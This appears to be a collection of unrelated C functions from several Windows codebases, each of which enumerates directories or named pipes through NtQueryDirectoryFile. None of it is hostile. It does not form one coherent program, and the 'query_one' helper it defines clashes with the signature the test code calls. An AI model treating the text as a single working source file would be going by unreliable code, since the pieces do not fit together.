/** * Fetches more data from the file system. * * @returns IPRT status code * @param pThis The directory instance data. */ static int rtDirNtFetchMore(PRTDIRINTERNAL pThis) { Assert(!pThis->fDataUnread); /* * Allocate the buffer the first time around. * We do this in lazy fashion as some users of RTDirOpen will not actually * list any files, just open it for various reasons. * * We also reduce the buffer size for networked devices as the windows 7-8.1, * server 2012, ++ CIFS servers or/and IFSes screws up buffers larger than 64KB. * There is an alternative hack below, btw. We'll leave both in for now. */ bool fFirst = false; if (!pThis->pabBuffer) { pThis->cbBufferAlloc = _256K; if (true) /** @todo skip for known local devices, like the boot device? */ { IO_STATUS_BLOCK Ios2 = RTNT_IO_STATUS_BLOCK_INITIALIZER; FILE_FS_DEVICE_INFORMATION Info = { 0, 0 }; NTSTATUS rcNt2 = NtQueryVolumeInformationFile(pThis->hDir, &Ios2, &Info, sizeof(Info), FileFsDeviceInformation); if ( !NT_SUCCESS(rcNt2) || (Info.Characteristics & FILE_REMOTE_DEVICE) || Info.DeviceType == FILE_DEVICE_NETWORK || Info.DeviceType == FILE_DEVICE_NETWORK_FILE_SYSTEM || Info.DeviceType == FILE_DEVICE_NETWORK_REDIRECTOR || Info.DeviceType == FILE_DEVICE_SMB) pThis->cbBufferAlloc = _64K; } fFirst = false; pThis->pabBuffer = (uint8_t *)RTMemAlloc(pThis->cbBufferAlloc); if (!pThis->pabBuffer) { do { pThis->cbBufferAlloc /= 4; pThis->pabBuffer = (uint8_t *)RTMemAlloc(pThis->cbBufferAlloc); } while (pThis->pabBuffer == NULL && pThis->cbBufferAlloc > _4K); if (!pThis->pabBuffer) return VERR_NO_MEMORY; } /* * Also try determining the device number. */ PFILE_FS_VOLUME_INFORMATION pVolInfo = (PFILE_FS_VOLUME_INFORMATION)pThis->pabBuffer; pVolInfo->VolumeSerialNumber = 0; IO_STATUS_BLOCK Ios = RTNT_IO_STATUS_BLOCK_INITIALIZER; NTSTATUS rcNt = NtQueryVolumeInformationFile(pThis->hDir, &Ios, pVolInfo, RT_MIN(_2K, pThis->cbBufferAlloc), FileFsVolumeInformation); if (NT_SUCCESS(rcNt) && NT_SUCCESS(Ios.Status)) pThis->uDirDev = pVolInfo->VolumeSerialNumber; else pThis->uDirDev = 0; AssertCompile(sizeof(pThis->uDirDev) == sizeof(pVolInfo->VolumeSerialNumber)); /** @todo Grow RTDEV to 64-bit and add low dword of VolumeCreationTime to the top of uDirDev. */ } /* * Read more. */ NTSTATUS rcNt; IO_STATUS_BLOCK Ios = RTNT_IO_STATUS_BLOCK_INITIALIZER; if (pThis->enmInfoClass != (FILE_INFORMATION_CLASS)0) { #ifdef IPRT_WITH_NT_PATH_PASSTHRU if (pThis->enmInfoClass == FileMaximumInformation) { Ios.Information = 0; Ios.Status = rcNt = NtQueryDirectoryObject(pThis->hDir, pThis->pabBuffer, pThis->cbBufferAlloc, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, pThis->fRestartScan, &pThis->uObjDirCtx, (PULONG)&Ios.Information); } else #endif rcNt = NtQueryDirectoryFile(pThis->hDir, NULL /* Event */, NULL /* ApcRoutine */, NULL /* ApcContext */, &Ios, pThis->pabBuffer, pThis->cbBufferAlloc, pThis->enmInfoClass, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, pThis->pNtFilterStr, pThis->fRestartScan); } else { /* * The first time around we have to figure which info class we can use * as well as the right buffer size. We prefer an info class which * gives us file IDs (Vista+ IIRC) and we prefer large buffers (for long * ReFS file names and such), but we'll settle for whatever works... * * The windows 7 thru 8.1 CIFS servers have been observed to have * trouble with large buffers, but weirdly only when listing large * directories. Seems 0x10000 is the max. (Samba does not exhibit * these problems, of course.) * * This complicates things. The buffer size issues causes an * STATUS_INVALID_PARAMETER error. Now, you would expect the lack of * FileIdBothDirectoryInformation support to return * STATUS_INVALID_INFO_CLASS, but I'm not entirely sure if we can 100% * depend on third IFSs to get that right. Nor, am I entirely confident * that we can depend on them to check the class before the buffer size. * * Thus the mess. */ if (RT_MAKE_U64(RTNtCurrentPeb()->OSMinorVersion, RTNtCurrentPeb()->OSMajorVersion) > RT_MAKE_U64(0,5) /* > W2K */) pThis->enmInfoClass = FileIdBothDirectoryInformation; /* Introduced in XP, from I can tell. */ else pThis->enmInfoClass = FileBothDirectoryInformation; rcNt = NtQueryDirectoryFile(pThis->hDir, NULL /* Event */, NULL /* ApcRoutine */, NULL /* ApcContext */, &Ios, pThis->pabBuffer, pThis->cbBufferAlloc, pThis->enmInfoClass, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, pThis->pNtFilterStr, pThis->fRestartScan); if (NT_SUCCESS(rcNt)) { /* likely */ } else { bool fRestartScan = pThis->fRestartScan; for (unsigned iRetry = 0; iRetry < 2; iRetry++) { if ( rcNt == STATUS_INVALID_INFO_CLASS || rcNt == STATUS_INVALID_PARAMETER_8 || iRetry != 0) pThis->enmInfoClass = FileBothDirectoryInformation; uint32_t cbBuffer = pThis->cbBufferAlloc; if ( rcNt == STATUS_INVALID_PARAMETER || rcNt == STATUS_INVALID_PARAMETER_7 || rcNt == STATUS_INVALID_NETWORK_RESPONSE || iRetry != 0) { cbBuffer = RT_MIN(cbBuffer / 2, _64K); fRestartScan = true; } for (;;) { rcNt = NtQueryDirectoryFile(pThis->hDir, NULL /* Event */, NULL /* ApcRoutine */, NULL /* ApcContext */, &Ios, pThis->pabBuffer, cbBuffer, pThis->enmInfoClass, RTDIR_NT_SINGLE_RECORD /*ReturnSingleEntry */, pThis->pNtFilterStr, fRestartScan); if ( NT_SUCCESS(rcNt) || cbBuffer == pThis->cbBufferAlloc || cbBuffer <= sizeof(*pThis->uCurData.pBothId) + sizeof(WCHAR) * 260) break; /* Reduce the buffer size agressivly and try again. We fall back to FindFirstFile values for the final lap. This means we'll do 4 rounds with the current initial buffer size (64KB, 8KB, 1KB, 0x278/0x268). */ cbBuffer /= 8; if (cbBuffer < 1024) cbBuffer = pThis->enmInfoClass == FileIdBothDirectoryInformation ? sizeof(*pThis->uCurData.pBothId) + sizeof(WCHAR) * 260 : sizeof(*pThis->uCurData.pBoth) + sizeof(WCHAR) * 260; } if (NT_SUCCESS(rcNt)) { pThis->cbBufferAlloc = cbBuffer; break; } } } } if (!NT_SUCCESS(rcNt)) { /* Note! VBoxSVR and CIFS file systems both ends up with STATUS_NO_SUCH_FILE here instead of STATUS_NO_MORE_FILES. */ if (rcNt == STATUS_NO_MORE_FILES || rcNt == STATUS_NO_MORE_ENTRIES || rcNt == STATUS_NO_SUCH_FILE) return VERR_NO_MORE_FILES; return RTErrConvertFromNtStatus(rcNt); } pThis->fRestartScan = false; AssertMsg( Ios.Information > (pThis->enmInfoClass == FileMaximumInformation ? sizeof(*pThis->uCurData.pObjDir) : sizeof(*pThis->uCurData.pBoth)), ("Ios.Information=%#x\n", Ios.Information)); /* * Set up the data members. */ pThis->uCurData.u = (uintptr_t)pThis->pabBuffer; pThis->cbBuffer = Ios.Information; int rc = rtDirNtCheckRecord(pThis); pThis->fDataUnread = RT_SUCCESS(rc); return rc; }
static int winfs_getdents(struct file *f, void *dirent, size_t count, getdents_callback *fill_callback) { AcquireSRWLockShared(&f->rw_lock); NTSTATUS status; struct winfs_file *winfile = (struct winfs_file *) f; IO_STATUS_BLOCK status_block; #define BUFFER_SIZE 32768 char buffer[BUFFER_SIZE]; int size = 0; for (;;) { /* sizeof(FILE_ID_FULL_DIR_INFORMATION) is larger than both sizeof(struct dirent) and sizeof(struct dirent64) * So we don't need to worry about header size. * For the file name, in worst case, a UTF-16 character (2 bytes) requires 4 bytes to store */ int buffer_size = (count - size) / 2; if (buffer_size >= BUFFER_SIZE) buffer_size = BUFFER_SIZE; status = NtQueryDirectoryFile(winfile->handle, NULL, NULL, NULL, &status_block, buffer, buffer_size, FileIdFullDirectoryInformation, FALSE, NULL, winfile->restart_scan); winfile->restart_scan = 0; if (!NT_SUCCESS(status)) { if (status != STATUS_NO_MORE_FILES) log_error("NtQueryDirectoryFile() failed, status: %x", status); break; } if (status_block.Information == 0) break; int offset = 0; FILE_ID_FULL_DIR_INFORMATION *info; do { info = (FILE_ID_FULL_DIR_INFORMATION *) &buffer[offset]; offset += info->NextEntryOffset; void *p = (char *)dirent + size; //uint64_t inode = info->FileId.QuadPart; /* Hash 64 bit inode to 32 bit to fix legacy applications * We may later add an option for changing this behaviour */ uint64_t inode = info->FileId.HighPart ^ info->FileId.LowPart; char type = DT_REG; if (info->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) type = DT_DIR; else if (info->FileAttributes & FILE_ATTRIBUTE_SYSTEM) { /* Test if it is a symlink */ UNICODE_STRING pathname; pathname.Length = info->FileNameLength; pathname.MaximumLength = info->FileNameLength; pathname.Buffer = info->FileName; NTSTATUS status; IO_STATUS_BLOCK status_block; OBJECT_ATTRIBUTES attr; attr.Length = sizeof(OBJECT_ATTRIBUTES); attr.RootDirectory = winfile->handle; attr.ObjectName = &pathname; attr.Attributes = 0; attr.SecurityDescriptor = NULL; attr.SecurityQualityOfService = NULL; HANDLE handle; status = NtCreateFile(&handle, SYNCHRONIZE | FILE_READ_DATA, &attr, &status_block, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (NT_SUCCESS(status)) { int type = winfs_get_special_file_type(handle); if (type == SPECIAL_FILE_SYMLINK) type = DT_LNK; else if (type == SPECIAL_FILE_SOCKET) type = DT_SOCK; NtClose(handle); } else log_warning("NtCreateFile() failed, status: %x", status); } intptr_t reclen = fill_callback(p, inode, info->FileName, info->FileNameLength / 2, type, count - size, GETDENTS_UTF16); if (reclen < 0) { size = reclen; goto out; } size += reclen; } while (info->NextEntryOffset); } out: ReleaseSRWLockShared(&f->rw_lock); return size; #undef BUFFER_SIZE }
/* * Create an fsentry-based directory listing (similar to opendir / readdir). * Dir should not contain trailing '/'. Use an empty string for the current * directory (not "."!). */ static struct fsentry *fsentry_create_list(struct fscache *cache, const struct fsentry *dir, int *dir_not_found) { wchar_t pattern[MAX_LONG_PATH]; NTSTATUS status; IO_STATUS_BLOCK iosb; PFILE_FULL_DIR_INFORMATION di; HANDLE h; int wlen; struct fsentry *list, **phead; DWORD err; *dir_not_found = 0; /* convert name to UTF-16 and check length */ if ((wlen = xutftowcs_path_ex(pattern, dir->name, MAX_LONG_PATH, dir->len, MAX_PATH - 2, core_long_paths)) < 0) return NULL; /* handle CWD */ if (!wlen) { wlen = GetCurrentDirectoryW(ARRAY_SIZE(pattern), pattern); if (!wlen || wlen >= ARRAY_SIZE(pattern)) { errno = wlen ? ENAMETOOLONG : err_win_to_posix(GetLastError()); return NULL; } } h = CreateFileW(pattern, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (h == INVALID_HANDLE_VALUE) { err = GetLastError(); *dir_not_found = 1; /* or empty directory */ errno = (err == ERROR_DIRECTORY) ? ENOTDIR : err_win_to_posix(err); trace_printf_key(&trace_fscache, "fscache: error(%d) '%.*s'\n", errno, dir->len, dir->name); return NULL; } /* allocate object to hold directory listing */ list = fsentry_alloc(cache, NULL, dir->name, dir->len); list->st_mode = S_IFDIR; /* walk directory and build linked list of fsentry structures */ phead = &list->next; status = NtQueryDirectoryFile(h, NULL, 0, 0, &iosb, cache->buffer, sizeof(cache->buffer), FileFullDirectoryInformation, FALSE, NULL, FALSE); if (!NT_SUCCESS(status)) { /* * NtQueryDirectoryFile returns STATUS_INVALID_PARAMETER when * asked to enumerate an invalid directory (ie it is a file * instead of a directory). Verify that is the actual cause * of the error. */ if (status == STATUS_INVALID_PARAMETER) { DWORD attributes = GetFileAttributesW(pattern); if (!(attributes & FILE_ATTRIBUTE_DIRECTORY)) status = ERROR_DIRECTORY; } goto Error; } di = (PFILE_FULL_DIR_INFORMATION)(cache->buffer); for (;;) { *phead = fseentry_create_entry(cache, list, di); phead = &(*phead)->next; /* If there is no offset in the entry, the buffer has been exhausted. */ if (di->NextEntryOffset == 0) { status = NtQueryDirectoryFile(h, NULL, 0, 0, &iosb, cache->buffer, sizeof(cache->buffer), FileFullDirectoryInformation, FALSE, NULL, FALSE); if (!NT_SUCCESS(status)) { if (status == STATUS_NO_MORE_FILES) break; goto Error; } di = (PFILE_FULL_DIR_INFORMATION)(cache->buffer); continue; } /* Advance to the next entry. */ di = (PFILE_FULL_DIR_INFORMATION)(((PUCHAR)di) + di->NextEntryOffset); } CloseHandle(h); return list; Error: errno = (status == ERROR_DIRECTORY) ? ENOTDIR : err_win_to_posix(status); trace_printf_key(&trace_fscache, "fscache: error(%d) unable to query directory contents '%.*s'\n", errno, dir->len, dir->name); CloseHandle(h); fsentry_release(list); return NULL; }
NTSTATUS query_one(HANDLE handle, HANDLE event, PUNICODE_STRING mask) { IO_STATUS_BLOCK iosb; BYTE info[0x400]; NTSTATUS r; PFILE_FULL_DIR_INFORMATION fdi; //PFILE_DIRECTORY_INFORMATION fdi; memset(&info, 0, sizeof info); r = NtQueryDirectoryFile ( handle, event, 0, 0, &iosb, info, sizeof info, 2, //FileInformation... TRUE, mask, FALSE); if (r == STATUS_PENDING) { r = WaitForSingleObject(event, INFINITE); if (r != STATUS_SUCCESS) { fprintf(stderr, "wait failed %08lx\n", r); return 1; } r = iosb.Status; } //fprintf(stderr, "completed %08lx\n", r); if (r != STATUS_SUCCESS) { if (r == STATUS_OBJECT_NAME_INVALID) fprintf(stderr, "query returned STATUS_OBJECT_NAME_INVALID\n"); else if (r == STATUS_NO_MORE_FILES) /* fprintf(stderr, "query returned STATUS_NO_MORE_FILES\n")*/ ; else if (r == STATUS_NO_SUCH_FILE) fprintf(stderr, "query returned STATUS_NO_SUCH_FILE\n"); else if (r == STATUS_INVALID_PARAMETER) fprintf(stderr, "query returned STATUS_INVALID_PARAMETER\n"); else fprintf(stderr, "query failed %08lx\n", r); return r; } int i; if (0) { fprintf(stderr, "size = %08lx\n", iosb.Information); for (i=0; i<iosb.Information; i++) fprintf(stderr, "%02x%c", info[i], (i+1)%16?' ':'\n'); fprintf(stderr, "\n"); } #if 0 // fprintf("%S\n") doesn't seem to like a string with a single . fprintf(stderr, "name = "); for (i=0; i<iosb.Information - 0x40; i++) fprintf(stderr, "%c", ((PWCHAR)(info+0x40))[i]); #endif fdi = (void*)info; fprintf(stderr, "%08lx ", fdi->FileAttributes); fprintf(stderr, "%08lx ", fdi->EaSize); dump_string(fdi->FileName, fdi->FileNameLength/2); fprintf(stderr, "\n"); return STATUS_SUCCESS; }
unsigned int XFindFirstFile( char *directoryName, char *mask, PWIN32_FIND_DATA findFileData) { #ifdef DEBUG debugPrint("XFindFirstFile directoryName=%s mask=%s\n", directoryName, mask); #endif IO_STATUS_BLOCK IoStatusBlock; FILE_DIRECTORY_INFORMATION FileInformation; HANDLE handle = NULL; ANSI_STRING FileMask; ANSI_STRING FileName; FILE_INFORMATION_CLASS FileInformationClass = FileDirectoryInformation; OBJECT_ATTRIBUTES Attributes; if (!strcmp(directoryName, ".")) directoryName = getPartitionString(currentDrive); char *directoryBuffer = (char *)malloc(200); int rc = XConvertDOSFilenameToXBOX(directoryName, directoryBuffer); if (rc != STATUS_SUCCESS) return INVALID_HANDLE_VALUE; RtlInitAnsiString(&FileMask, mask); RtlInitAnsiString(&FileName, directoryBuffer); Attributes.RootDirectory = NULL; Attributes.ObjectName = &FileName; Attributes.Attributes = OBJ_CASE_INSENSITIVE; NTSTATUS status = NtCreateFile( &handle, FILE_LIST_DIRECTORY, &Attributes, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_DIRECTORY_FILE); if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE; // and now actually do the looping over each file... memset(&FileInformation, 0, sizeof(FILE_DIRECTORY_INFORMATION)); status = NtQueryDirectoryFile( handle, NULL, NULL, NULL, &IoStatusBlock, &FileInformation, sizeof(FILE_DIRECTORY_INFORMATION), FileInformationClass, &FileMask, TRUE); if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE; /*findFileData->dwFileAttributes = FileInformation.FileAttributes; findFileData->ftCreationTime = FileInformation.CreationTime.QuadPart; findFileData->ftLastAccessTime = FileInformation.LastAccessTime.QuadPart; findFileData->ftLastWriteTime = FileInformation.LastWriteTime.QuadPart; findFileData->nFileSize = FileInformation.AllocationSize.QuadPart;*/ strcpy(findFileData->cFileName, FileInformation.FileName); return (unsigned int)handle; }
void test_query_directory( void ) { WCHAR dirname[] = L"\\??\\c:\\filetest"; WCHAR filename[] = L"\\??\\c:\\filetest\\edb.chk"; WCHAR edb[] = L"edb<\"*"; UNICODE_STRING path, mask, empty; OBJECT_ATTRIBUTES oa; HANDLE dir, file; IO_STATUS_BLOCK iosb; BYTE buffer[0x100]; NTSTATUS r; iosb.Status = ~0; iosb.Information = ~0; empty.Buffer = 0; empty.Length = 0; empty.MaximumLength = 0; init_us(&mask, edb); oa.Length = sizeof oa; oa.RootDirectory = 0; oa.ObjectName = &path; oa.Attributes = OBJ_CASE_INSENSITIVE; oa.SecurityDescriptor = 0; oa.SecurityQualityOfService = 0; init_us(&path, filename); r = NtDeleteFile( &oa ); // delete the file to ensure preconditions init_us(&path, dirname); r = NtDeleteFile( &oa ); // create a test directory r = NtCreateFile( &dir, GENERIC_READ | GENERIC_WRITE | FILE_LIST_DIRECTORY, &oa, &iosb, 0, FILE_ATTRIBUTE_DIRECTORY, FILE_SHARE_READ, FILE_CREATE, FILE_DIRECTORY_FILE, 0, 0 ); ok( r == STATUS_SUCCESS, "failed to create dir %08lx\n", r); ok( iosb.Status == STATUS_SUCCESS, "status wrong %08lx\n", iosb.Status); ok( iosb.Information == FILE_CREATED, "information wrong %08lx\n", iosb.Information); // add a file to the directory init_us(&path, filename); r = NtCreateFile( &file, GENERIC_READ | GENERIC_WRITE, &oa, &iosb, 0, FILE_ATTRIBUTE_DIRECTORY, FILE_SHARE_READ, FILE_CREATE, 0, 0, 0 ); ok( r == STATUS_SUCCESS, "failed to create file %08lx\n", r); ok( iosb.Status == STATUS_SUCCESS, "status wrong %08lx\n", iosb.Status); ok( iosb.Information == FILE_CREATED, "information wrong %08lx\n", iosb.Information); r = NtClose( file ); ok( r == STATUS_SUCCESS, "status wrong %08lx\n", r); // query first file... should be "." r = NtQueryDirectoryFile( dir, 0, 0, 0, &iosb, buffer, sizeof buffer, FileBothDirectoryInformation, TRUE, 0, 0); ok( r == STATUS_SUCCESS, "failed to query directory %08lx\n", r); check_dot(&iosb, buffer); // query second file... should be ".." r = NtQueryDirectoryFile( dir, 0, 0, 0, &iosb, buffer, sizeof buffer, FileBothDirectoryInformation, TRUE, 0, 0); ok( r == STATUS_SUCCESS, "failed to query directory %08lx\n", r); check_dotdot(&iosb, buffer); // query third file... should be "edb.chk" r = NtQueryDirectoryFile( dir, 0, 0, 0, &iosb, buffer, sizeof buffer, FileBothDirectoryInformation, TRUE, 0, 0); ok( r == STATUS_SUCCESS, "failed to query directory %08lx\n", r); check_edb(&iosb, buffer); // no more files... r = NtQueryDirectoryFile( dir, 0, 0, 0, &iosb, buffer, sizeof buffer, FileBothDirectoryInformation, TRUE, 0, 0); ok( r == STATUS_NO_MORE_FILES, "failed to query directory %08lx\n", r); // try with a mask r = NtQueryDirectoryFile( dir, 0, 0, 0, &iosb, buffer, sizeof buffer, FileBothDirectoryInformation, TRUE, &mask, TRUE); ok( r == STATUS_SUCCESS, "failed to query directory %08lx\n", r); ok( iosb.Status == STATUS_SUCCESS, "status wrong %08lx\n", iosb.Status); check_dot(&iosb, buffer); r = NtClose( dir ); ok( r == STATUS_SUCCESS, "failed to close handle %08lx\n", r); // set oa to point the the directory again init_us(&path, dirname); // re-open the file and scan with a mask // looks like the mask is set on the first scan after opening the directory r = query_one(&oa, edb, buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_edb(&iosb, buffer); // what happens if the mask is present but empty? r = query_one(&oa, L"", buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_dot(&iosb, buffer); // how does * work? r = query_one(&oa, L"*", buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_dot(&iosb, buffer); // how does * work? r = query_one(&oa, L"*.*", buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_dot(&iosb, buffer); // what does *e return? r = query_one(&oa, L"e*", buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_edb(&iosb, buffer); // can we get back .. r = query_one(&oa, L"..", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); // what about ... ? r = query_one(&oa, L"...", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); // does ? work r = query_one(&oa, L"??", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); // does ? work r = query_one(&oa, L"?.", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); // exact match r = query_one(&oa, L"edb.chk", buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_edb(&iosb, buffer); // almost exact match r = query_one(&oa, L"edb.ch", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); // case insensitive match r = query_one(&oa, L"EDB.CHK", buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_edb(&iosb, buffer); // dot star? r = query_one(&oa, L"edb.*", buffer, sizeof buffer, &iosb); ok( r == STATUS_SUCCESS, "query failed %08lx\n", r); check_edb(&iosb, buffer); // bad masks r = query_one(&oa, L"|", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); r = query_one(&oa, L":", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); r = query_one(&oa, L"/", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); r = query_one(&oa, L"\\", buffer, sizeof buffer, &iosb); ok( r == STATUS_NO_SUCH_FILE, "query failed %08lx\n", r); // delete the file init_us(&path, filename); r = NtDeleteFile( &oa ); ok( r == STATUS_SUCCESS, "failed to delete directory %08lx\n", r); // delete the directory init_us(&path, dirname); r = NtDeleteFile( &oa ); ok( r == STATUS_SUCCESS, "failed to delete directory %08lx\n", r); }
/* * PipeDlgQueryInfo * * Purpose: * * List pipes from pipe device. * */ VOID PipeDlgQueryInfo( VOID ) { BOOL cond = FALSE, cond2 = TRUE; BOOLEAN bRestartScan; HANDLE hObject = NULL; FILE_DIRECTORY_INFORMATION *DirectoryInfo = NULL; NTSTATUS status; OBJECT_ATTRIBUTES obja; UNICODE_STRING uStr; IO_STATUS_BLOCK iost; LVITEM lvitem; INT c; do { RtlSecureZeroMemory(&uStr, sizeof(uStr)); RtlInitUnicodeString(&uStr, T_DEVICE_NAMED_PIPE); InitializeObjectAttributes(&obja, &uStr, OBJ_CASE_INSENSITIVE, NULL, NULL); status = NtOpenFile(&hObject, FILE_LIST_DIRECTORY, &obja, &iost, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE); if (!NT_SUCCESS(status)) { break; } DirectoryInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000); if (DirectoryInfo == NULL) { break; } c = 0; bRestartScan = TRUE; while (cond2) { RtlSecureZeroMemory(&iost, sizeof(iost)); status = NtQueryDirectoryFile(hObject, NULL, NULL, NULL, &iost, DirectoryInfo, 0x1000, FileDirectoryInformation, TRUE, //ReturnSingleEntry NULL, bRestartScan //RestartScan ); if ( (!NT_SUCCESS(status)) || (!NT_SUCCESS(iost.Status)) || (iost.Information == 0) ) { break; } //Name RtlSecureZeroMemory(&lvitem, sizeof(lvitem)); lvitem.mask = LVIF_TEXT | LVIF_IMAGE; lvitem.pszText = DirectoryInfo->FileName; lvitem.iItem = MAXINT; ListView_InsertItem(PipeDlgContext.ListView, &lvitem); bRestartScan = FALSE; RtlSecureZeroMemory(DirectoryInfo, 0x1000); c++; if (c > 0x1000) {//its a trap break; } } } while (cond); if (DirectoryInfo != NULL) { HeapFree(GetProcessHeap(), 0, DirectoryInfo); } if (hObject) { NtClose(hObject); } }